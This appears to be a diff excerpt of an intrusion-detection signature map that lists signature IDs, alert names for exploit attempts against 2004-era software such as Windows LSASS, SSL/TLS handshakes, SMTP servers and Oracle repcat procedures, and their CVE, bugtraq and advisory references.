+2512 || NETBIOS SMB-DS DCERPC LSASS bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2513 || NETBIOS SMB-DS DCERPC LSASS unicode bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2514 || NETBIOS SMB-DS DCERPC LSASS DsRolerUpgradeDownlevelServer exploit attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2515 || WEB-MISC PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2516 || POP3 PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2517 || IMAP PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2518 || POP3 PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2520 || WEB-MISC SSLv3 Client_Hello request
+2521 || WEB-MISC SSLv3 Server_Hello request
+2522 || WEB-MISC SSLv3 invalid Client_Hello attempt || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2523 || DOS BGP spoofed connection reset attempt || bugtraq,10183 || cve,2004-0230 || url,www.uniras.gov.uk/vuls/2004/236929/index.htm
+2524 || NETBIOS DCERPC LSASS direct bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2525 || NETBIOS SMB DCERPC LSASS direct bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2526 || NETBIOS SMB-DS DCERPC LSASS direct bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2527 || SMTP STARTTLS attempt
+2528 || SMTP PCT Client_Hello overflow attempt || bugtraq,10116 || cve,2003-0719 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2529 || IMAP SSLv3 Client_Hello request
+2530 || IMAP SSLv3 Server_Hello request
+2531 || IMAP SSLv3 invalid Client_Hello attempt || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2532 || POP3 SSLv3 Client_Hello request
+2533 || POP3 SSLv3 Server_Hello request
+2534 || POP3 SSLv3 invalid Client_Hello attempt || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2535 || POP3 SSLv3 Client_Hello request
+2536 || POP3 SSLv3 Server_Hello request
+2537 || POP3 SSLv3 invalid Client_Hello attempt || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2541 || SMTP TLS SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2542 || SMTP SSLv3 Client_Hello request
+2543 || SMTP TLS SSLv3 Server_Hello request || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2544 || SMTP SSLv3 invalid Client_Hello attempt || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2545 || EXPLOIT AFP FPLoginExt username buffer overflow attempt || bugtraq,10271 || cve,2004-0430 || url,www.atstake.com/research/advisories/2004/a050304-1.txt
+2546 || FTP MDTM overflow attempt || bugtraq,9751 || cve,2001-1021 || cve,2004-0330 || nessus,12080
+2547 || MISC HP Web JetAdmin remote file upload attempt || bugtraq,9978
+2548 || MISC HP Web JetAdmin setinfo access || bugtraq,9972
+2549 || MISC HP Web JetAdmin file write attempt || bugtraq,9973
+2550 || EXPLOIT winamp XM module name overflow || url,www.nextgenss.com/advisories/winampheap.txt
+2551 || EXPLOIT Oracle Web Cache GET overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2552 || EXPLOIT Oracle Web Cache HEAD overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2553 || EXPLOIT Oracle Web Cache PUT overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2554 || EXPLOIT Oracle Web Cache POST overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2555 || EXPLOIT Oracle Web Cache TRACE overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2556 || EXPLOIT Oracle Web Cache DELETE overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2557 || EXPLOIT Oracle Web Cache LOCK overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2558 || EXPLOIT Oracle Web Cache MKCOL overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2559 || EXPLOIT Oracle Web Cache COPY overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2560 || EXPLOIT Oracle Web Cache MOVE overflow attempt || bugtraq,9868 || cve,2004-0385 || nessus,12126
+2561 || MISC rsync backup-dir directory traversal attempt || bugtraq,10247 || cve,2004-0426 || nessus,12230
+2562 || WEB-MISC McAfee ePO file upload attempt || bugtraq,10200 || cve,2004-0038
+2563 || NETBIOS NS lookup response name overflow attempt || bugtraq,10333 || bugtraq,10334 || cve,2004-0444 || cve,2004-0445 || url,www.eeye.com/html/Research/Advisories/AD20040512A.html
+2564 || NETBIOS NS lookup short response attempt || bugtraq,10334 || bugtraq,10335 || cve,2004-0444 || cve,2004-0445 || url,www.eeye.com/html/Research/Advisories/AD20040512C.html
+2565 || WEB-PHP modules.php access || bugtraq,9879
+2566 || WEB-PHP PHPBB viewforum.php access || bugtraq,9865 || bugtraq,9866 || nessus,12093
+2567 || WEB-CGI Emumail init.emu access || bugtraq,9861 || nessus,12095
+2568 || WEB-CGI Emumail emumail.fcgi access || bugtraq,9861 || nessus,12095
+2569 || WEB-MISC cPanel resetpass access || bugtraq,9848
+2570 || WEB-MISC Invalid HTTP Version String || bugtraq,9809 || nessus,11593
+2571 || WEB-IIS SmarterTools SmarterMail frmGetAttachment.aspx access || bugtraq,9805
+2572 || WEB-IIS SmarterTools SmarterMail login.aspx buffer overflow attempt || bugtraq,9805
+2573 || WEB-IIS SmarterTools SmarterMail frmCompose.asp access || bugtraq,9805
+2574 || FTP RETR format string attempt || bugtraq,9800
+2575 || WEB-PHP Opt-X header.php remote file include attempt || bugtraq,9732
+2576 || ORACLE dbms_repcat.generate_replication_support buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck93.html
+2577 || WEB-CLIENT local resource redirection attempt || cve,2004-0549 || url,www.kb.cert.org/vuls/id/713878
+2578 || EXPLOIT kerberos principal name overflow UDP || url,web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt
+2579 || EXPLOIT kerberos principal name overflow TCP || url,web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt
+2580 || WEB-MISC server negative Content-Length attempt || cve,2004-0492 || url,www.guninski.com/modproxy1.html
+2581 || WEB-MISC Crystal Reports crystalimagehandler.aspx access || cve,2004-0204 || url,www.microsoft.com/security/bulletins/200406_crystal.mspx
+2582 || WEB-MISC Crystal Reports crystalImageHandler.aspx directory traversal attempt || bugtraq,10260 || cve,2004-0204 || nessus,12271 || url,www.microsoft.com/security/bulletins/200406_crystal.mspx
+2583 || MISC CVS Max-dotdot integer overflow attempt || bugtraq,10499 || cve,2004-0417
+2584 || EXPLOIT eMule buffer overflow attempt || bugtraq,10039 || nessus,12233
+2585 || WEB-MISC nessus 2.x 404 probe || nessus,10386
+2586 || P2P eDonkey transfer || url,www.kom.e-technik.tu-darmstadt.de/publications/abstracts/HB02-1.html
+2587 || P2P eDonkey server response || url,www.emule-project.net
+2588 || WEB-PHP TUTOS path disclosure attempt || bugtraq,10129 || url,www.securiteam.com/unixfocus/5FP0J15CKE.html
+2589 || WEB-CLIENT Content-Disposition CLSID command attempt || bugtraq,9510 || cve,2004-0420 || url,www.microsoft.com/technet/security/bulletin/ms04-024.mspx
+2590 || SMTP MAIL FROM overflow attempt || bugtraq,10290 || bugtraq,7506 || cve,2004-0399 || url,www.guninski.com/exim1.html
+2591 || SMTP From command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2592 || SMTP ReplyTo command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2593 || SMTP Sender command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2594 || SMTP To command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2595 || SMTP CC command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2596 || SMTP BCC command overflow attempt || bugtraq,10291 || cve,2004-0400 || url,www.guninski.com/exim1.html
+2597 || WEB-MISC Samba SWAT Authorization overflow attempt || bugtraq,10780
+2598 || WEB-MISC Samba SWAT Authorization port 901 overflow attempt || bugtraq,10780
+2599 || ORACLE dbms_repcat.add_grouped_column buffer overflow attempt
+2600 || ORACLE add_grouped_column ordered sname/oname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck633.html
+2601 || ORACLE dbms_repcat.drop_master_repgroup buffer overflow attempt
+2602 || ORACLE drop_master_repgroup ordered gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck87.html
+2603 || ORACLE dbms_repcat.create_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck633.html
+2604 || ORACLE create_mview_repgroup ordered fname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck633.html
+2605 || ORACLE dbms_repcat.compare_old_values buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck91.html
+2606 || ORACLE dbms_repcat.comment_on_repobject buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2607 || ORACLE comment_on_repobject ordered type buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2608 || ORACLE sysdbms_repcat_rgt.check_ddl_text buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2609 || ORACLE dbms_repcat.cancel_statistics buffer overflow attempt
+2610 || ORACLE cancel_statistics ordered sname/oname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck633.html
+2611 || ORACLE LINK metadata buffer overflow attempt || bugtraq,7453 || cve,2003-0222 || url,archives.neohapsis.com/archives/bugtraq/2003-04/0360.html
+2612 || ORACLE sys.dbms_repcat_auth.revoke_surrogate_repcat buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2613 || ORACLE revoke_surrogate_repcat ordered userid buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2614 || ORACLE time_zone buffer overflow attempt || bugtraq,9587 || url,www.nextgenss.com/advisories/ora_time_zone.txt
+2615 || ORACLE sys.dbms_repcat_auth.grant_surrogate_repcat buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2616 || ORACLE grant_surrogate_repcat ordered userid buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2617 || ORACLE sys.dbms_repcat.alter_mview_propagation buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2618 || ORACLE alter_mview_propagation ordered gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2619 || ORACLE dbms_repcat.alter_master_repobject buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2620 || ORACLE alter_master_repobject ordered type buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2621 || ORACLE dbms_repcat_sna_utl.register_flavor_change buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2622 || ORACLE dbms_repcat_utl.drop_an_object buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2623 || ORACLE dbms_repcat_sna_utl.create_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2624 || ORACLE dbms_repcat_admin.unregister_user_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck94.html
+2625 || ORACLE unregister_user_repgroup ordered privilege_type buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck94.html
+2626 || ORACLE dbms_repcat.send_old_values buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck91.html
+2627 || ORACLE dbms_repcat.repcat_import_check buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2628 || ORACLE repcat_import_check ordered gowner/gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2629 || ORACLE dbms_repcat_admin.register_user_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck94.html
+2630 || ORACLE register_user_repgroup ordered privilege_type buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck94.html
+2631 || ORACLE dbms_repcat.refresh_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2632 || ORACLE refresh_mview_repgroup ordered gowner buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2633 || ORACLE sys.dbms_rectifier_diff.rectify buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2634 || ORACLE rectifier_diff ordered sname1 buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2635 || ORACLE dbms_offline_snapshot.end_load buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2636 || ORACLE snapshot.end_load ordered gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2637 || ORACLE dbms_repcat.drop_master_repobject buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2638 || ORACLE drop_master_repobject ordered type buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck634.html
+2639 || ORACLE dbms_repcat.drop_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2640 || ORACLE drop_mview_repgroup ordered gowner/gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck90.html
+2641 || ORACLE dbms_repcat_instantiate.drop_site_instantiation buffer overflow attempt
+2642 || ORACLE drop_site_instantiation ordered refresh_template_name buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck629.html
+2643 || ORACLE sys.dbms_repcat_fla.ensure_not_published buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck96.html
+2644 || ORACLE from_tz buffer overflow attempt || url,www.nextgenss.com/advisories/ora_from_tz.txt
+2645 || ORACLE dbms_repcat_instantiate.instantiate_offline buffer overflow attempt
+2646 || ORACLE instantiate_offline ordered refresh_template_name buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck630.html
+2647 || ORACLE dbms_repcat_instantiate.instantiate_online buffer overflow attempt
+2648 || ORACLE instantiate_online ordered refresh_template_name buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck631.html
+2649 || ORACLE service_name buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck52.html
+2650 || ORACLE user name buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck62.html
+2651 || ORACLE NUMTODSINTERVAL/NUMTOYMINTERVAL buffer overflow attempt || bugtraq,9587 || url,www.nextgenss.com/advisories/ora_numtodsinterval.txt || url,www.nextgenss.com/advisories/ora_numtoyminterval.txt
+2652 || ORACLE dbms_offline_og.begin_load buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2653 || ORACLE og.begin_load ordered gname buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck632.html
+2654 || WEB-PHP PHPNuke Forum viewtopic SQL insertion attempt || bugtraq,7193
+2655 || MISC HP Web JetAdmin ExecuteFile admin access || bugtraq,10224
+2656 || WEB-MISC SSLv2 Client_Hello Challenge Length overflow attempt
+2657 || WEB-MISC SSLv2 Client_Hello with pad Challenge Length overflow attempt
+2658 || WEB-MISC SSLv2 Client_Hello request
+2659 || WEB-MISC SSLv2 Client_Hello with pad request
+2660 || WEB-MISC SSLv2 Server_Hello request
+2661 || WEB-MISC TLSv1 Client_Hello request
+2662 || WEB-MISC TLSv1 Server_Hello request
+2663 || WEB-CGI WhatsUpGold instancename overflow attempt || bugtraq,11043 || cve,2004-0798
+2664 || IMAP login format string attempt || bugtraq,10976
+2665 || IMAP login literal format string attempt || bugtraq,10976
+2666 || POP3 PASS format string attempt || bugtraq,10976
+2667 || WEB-IIS ping.asp access || nessus,10968
+2668 || WEB-CGI processit access || nessus,10649
+2669 || WEB-CGI ibillpm.pl access || bugtraq,3476 || nessus,11083
+2670 || WEB-CGI pgpmail.pl access || bugtraq,3605 || cve,2001-0937 || nessus,11070
+2671 || WEB-CLIENT bitmap BitmapOffset integer overflow attempt || bugtraq,9663 || cve,2004-0566
+2672 || WEB-MISC sresult.exe access || bugtraq,10837 || nessus,14186
+2673 || WEB-CLIENT libpng tRNS overflow attempt || bugtraq,10872 || cve,2004-0597
+2674 || ORACLE dbms_repcat.add_delete_resolution buffer overflow attempt
+2675 || ORACLE dbms_repcat_rgt.instantiate_offline buffer overflow attempt
+2676 || ORACLE dbms_repcat_rgt.drop_site_instantiation buffer overflow attempt
+2677 || ORACLE dbms_repcat_rgt.instantiate_online buffer overflow attempt
+2678 || ORACLE ctx_output.start_log buffer overflow attempt
+2679 || ORACLE sys.dbms_system.ksdwrt buffer overflow attempt
+2680 || ORACLE ctxsys.driddlr.subindexpopulate buffer overflow attempt
+2681 || ORACLE mdsys.sdo_admin.sdo_code_size buffer overflow attempt
+2682 || ORACLE mdsys.md2.validate_geom buffer overflow attempt
+2683 || ORACLE mdsys.md2.sdo_code_size buffer overflow attempt
+2684 || ORACLE sys.ltutil.pushdeferredtxns buffer overflow attempt
+2685 || ORACLE sys.dbms_repcat_rq.add_column buffer overflow attempt
+2686 || ORACLE sys.dbms_rectifier_diff.differences buffer overflow attempt || url,www.appsecinc.com/Policy/PolicyCheck97.html
+2687 || ORACLE sys.dbms_internal_repcat.validate buffer overflow attempt
+2688 || ORACLE sys.dbms_internal_repcat.enable_receiver_trace buffer overflow attempt
+2689 || ORACLE sys.dbms_internal_repcat.disable_receiver_trace buffer overflow attempt
+2690 || ORACLE sys.dbms_defer_repcat.enable_propagation_to_dblink buffer overflow attempt
+2691 || ORACLE sys.dbms_defer_internal_sys.parallel_push_recovery buffer overflow attempt
+2692 || ORACLE sys.dbms_aqadm_sys.verify_queue_types buffer overflow attempt
+2693 || ORACLE sys.dbms_aqadm.verify_queue_types_no_queue buffer overflow attempt
+2694 || ORACLE sys.dbms_aqadm.verify_queue_types_get_nrp buffer overflow attempt
+2695 || ORACLE sys.dbms_aq_import_internal.aq_table_defn_update buffer overflow attempt
+2696 || ORACLE sys.dbms_repcat_utl.is_master buffer overflow attempt
+2697 || ORACLE alter file buffer overflow attempt
+2698 || ORACLE create file buffer overflow attempt
+2699 || ORACLE TO_CHAR buffer overflow attempt
+2700 || ORACLE numtoyminterval buffer overflow attempt
+2701 || WEB-MISC Oracle iSQLPlus sid overflow attempt || bugtraq,10871 || url,www.nextgenss.com/advisories/ora-isqlplus.txt
+2702 || WEB-MISC Oracle iSQLPlus username overflow attempt || bugtraq,10871 || url,www.nextgenss.com/advisories/ora-isqlplus.txt
+2703 || WEB-MISC Oracle iSQLPlus login.uix username overflow attempt || bugtraq,10871 || url,www.nextgenss.com/advisories/ora-isqlplus.txt
+2704 || WEB-MISC Oracle 10g iSQLPlus login.unix connectID overflow attempt || bugtraq,10871 || url,www.nextgenss.com/advisories/ora-isqlplus.txt
+2705 || WEB-CLIENT JPEG parser heap overflow attempt || bugtraq,11173 || cve,2004-0200 || url,www.microsoft.com/security/bulletins/200409_jpeg.mspx
+2706 || WEB-CLIENT JPEG transfer
+2707 || WEB-CLIENT JPEG parser multipacket heap overflow || bugtraq,11173 || cve,2004-0200 || url,www.microsoft.com/security/bulletins/200409_jpeg.mspx
+2708 || ORACLE dbms_offline_og.begin_flavor_change buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2709 || ORACLE dbms_offline_og.begin_instantiation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2710 || ORACLE dbms_offline_og.begin_load buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2711 || ORACLE dbms_offline_og.end_flavor_change buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2712 || ORACLE dbms_offline_og.end_instantiation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2713 || ORACLE dbms_offline_og.end_load buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2714 || ORACLE dbms_offline_og.resume_subset_of_masters buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2715 || ORACLE dbms_offline_snapshot.begin_load buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2716 || ORACLE dbms_offline_snapshot.end_load buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2717 || ORACLE dbms_rectifier_diff.differences buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2718 || ORACLE dbms_rectifier_diff.rectify buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2719 || ORACLE dbms_repcat.abort_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2720 || ORACLE dbms_repcat.add_column_group_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2721 || ORACLE dbms_repcat.add_columns_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2722 || ORACLE dbms_repcat.add_object_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2723 || ORACLE dbms_repcat.add_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2724 || ORACLE dbms_repcat.add_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2725 || ORACLE dbms_repcat.add_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2726 || ORACLE dbms_repcat.add_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2727 || ORACLE dbms_repcat.add_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2728 || ORACLE dbms_repcat.add_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2729 || ORACLE dbms_repcat.add_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2730 || ORACLE dbms_repcat.add_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2731 || ORACLE dbms_repcat.add_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2732 || ORACLE dbms_repcat.add_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2733 || ORACLE dbms_repcat.alter_master_propagation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2734 || ORACLE dbms_repcat.alter_mview_propagation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2735 || ORACLE dbms_repcat.alter_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2736 || ORACLE dbms_repcat.alter_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2737 || ORACLE dbms_repcat.alter_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2738 || ORACLE dbms_repcat.alter_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2739 || ORACLE dbms_repcat.alter_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2740 || ORACLE dbms_repcat.alter_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2741 || ORACLE dbms_repcat.alter_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2742 || ORACLE dbms_repcat.alter_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2743 || ORACLE dbms_repcat.alter_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2744 || ORACLE dbms_repcat.alter_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2745 || ORACLE dbms_repcat.alter_snapshot_propagation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2746 || ORACLE dbms_repcat_auth.revoke_surrogate_repcat buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2747 || ORACLE dbms_repcat.begin_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2748 || ORACLE dbms_repcat.comment_on_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2749 || ORACLE dbms_repcat.comment_on_delete_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2750 || ORACLE dbms_repcat.comment_on_mview_repsites buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2751 || ORACLE dbms_repcat.comment_on_priority_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2752 || ORACLE dbms_repcat.comment_on_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2753 || ORACLE dbms_repcat.comment_on_repsites buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2754 || ORACLE dbms_repcat.comment_on_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2755 || ORACLE dbms_repcat.comment_on_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2756 || ORACLE dbms_repcat.comment_on_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2757 || ORACLE dbms_repcat.create_master_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2758 || ORACLE dbms_repcat.create_master_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2759 || ORACLE dbms_repcat.create_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2760 || ORACLE dbms_repcat.define_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2761 || ORACLE dbms_repcat.define_priority_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2762 || ORACLE dbms_repcat.define_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2763 || ORACLE dbms_repcat.do_deferred_repcat_admin buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2764 || ORACLE dbms_repcat.drop_column_group_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2765 || ORACLE dbms_repcat.drop_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2766 || ORACLE dbms_repcat.drop_columns_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2767 || ORACLE dbms_repcat.drop_delete_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2768 || ORACLE dbms_repcat.drop_grouped_column buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2769 || ORACLE dbms_repcat.drop_mview_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2770 || ORACLE dbms_repcat.drop_object_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2771 || ORACLE dbms_repcat.drop_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2772 || ORACLE dbms_repcat.drop_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2773 || ORACLE dbms_repcat.drop_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2774 || ORACLE dbms_repcat.drop_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2775 || ORACLE dbms_repcat.drop_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
